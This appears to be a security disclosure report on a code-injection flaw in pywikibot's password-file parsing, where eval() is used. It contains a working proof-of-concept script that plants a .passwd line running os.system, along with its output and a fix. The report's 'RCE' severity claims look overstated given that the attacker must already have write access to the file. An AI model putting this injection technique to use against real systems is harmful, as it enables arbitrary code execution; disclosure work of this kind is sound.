From a report to security@wikimedia.org by @Aydinnyunus
Summary
Vulnerability: Remote Code Execution (RCE) via insecure use of eval() in password file parsing
Severity: HIGH
Affected Version: pywikibot 10.7.0 (latest)
File: pywikibot/login.py line 255
Description
The readPassword() method in pywikibot/login.py uses Python's eval() function to parse password file entries. If an attacker can control the content of the password file, they can inject arbitrary Python code that will be executed when the file is parsed, leading to Remote Code Execution.
Technical Details
Vulnerable Code:
# pywikibot/login.py line 255 entry = eval(line) # <-- RCE vulnerability
Attack Vector:
- Attacker needs write access to the password file (.passwd)
- Malicious Python code is injected into the password file
- When LoginManager initializes, it calls readPassword() which executes eval() on each line
- Arbitrary code executes with the privileges of the user running pywikibot
Proof of Concept
PoC Code:
#!/usr/bin/env python3 import os import uuid from pathlib import Path # Change to PoC directory poc_dir = Path(__file__).parent os.chdir(poc_dir) # Generate random exploit file name exploit_filename = f'pwb_rce_{uuid.uuid4().hex[:8]}.txt' exploit_file = Path(f'/tmp/{exploit_filename}') # Create .passwd file with malicious code passwd_content = f"""# Normal password entry ('testuser', 'testpass') # Malicious code injection ('en', 'wikipedia', 'victim', __import__('os').system('touch /tmp/{exploit_filename} && echo "RCE SUCCESSFUL" > /tmp/{exploit_filename}')) """ (poc_dir / '.passwd').write_text(passwd_content, encoding='utf-8') os.chmod(poc_dir / '.passwd', 0o600) # Import pywikibot - triggers password file parsing import pywikibot from pywikibot.login import LoginManager # Create fake site to avoid network calls class FakeSite: def __init__(self): self.code = 'en' self.family = type('FakeFamily', (), {'name': 'wikipedia'})() pywikibot.Site = lambda *args, **kwargs: FakeSite() # This triggers readPassword() which uses eval() on line 255 LoginManager() # Check if RCE was successful if exploit_file.exists(): print("[!] RCE SUCCESSFUL!") print(f"[!] File created: {exploit_file}") print(f"[!] Contents: {exploit_file.read_text()}") else: print("[*] Exploit file not found")
PoC Execution:
cd agent_runs/digital-exploit-929/poc
python poc_rce.pyPoC Result:
[!] RCE SUCCESSFUL! [!] File created: /tmp/pwb_rce_7dcaee57.txt [!] Contents: RCE SUCCESSFUL
Impact
- Confidentiality: HIGH - Attacker can read all credentials in password file and other sensitive files
- Integrity: HIGH - Attacker can modify system files, install backdoors
- Availability: MEDIUM - Attacker can disrupt service
- Authentication Bypass: HIGH - Attacker gains authenticated access to wiki accounts
Attack Preconditions
- Attacker must have write access to the password file
- File permissions must allow modification (though code enforces 0o600)
- User must run pywikibot after file is modified
Remediation
Recommended Fix: Replace eval() with ast.literal_eval()
File: pywikibot/login.py line 255
Change:
# Before (vulnerable) entry = eval(line) # After (safe) import ast entry = ast.literal_eval(line) # Only evaluates Python literals, no code execution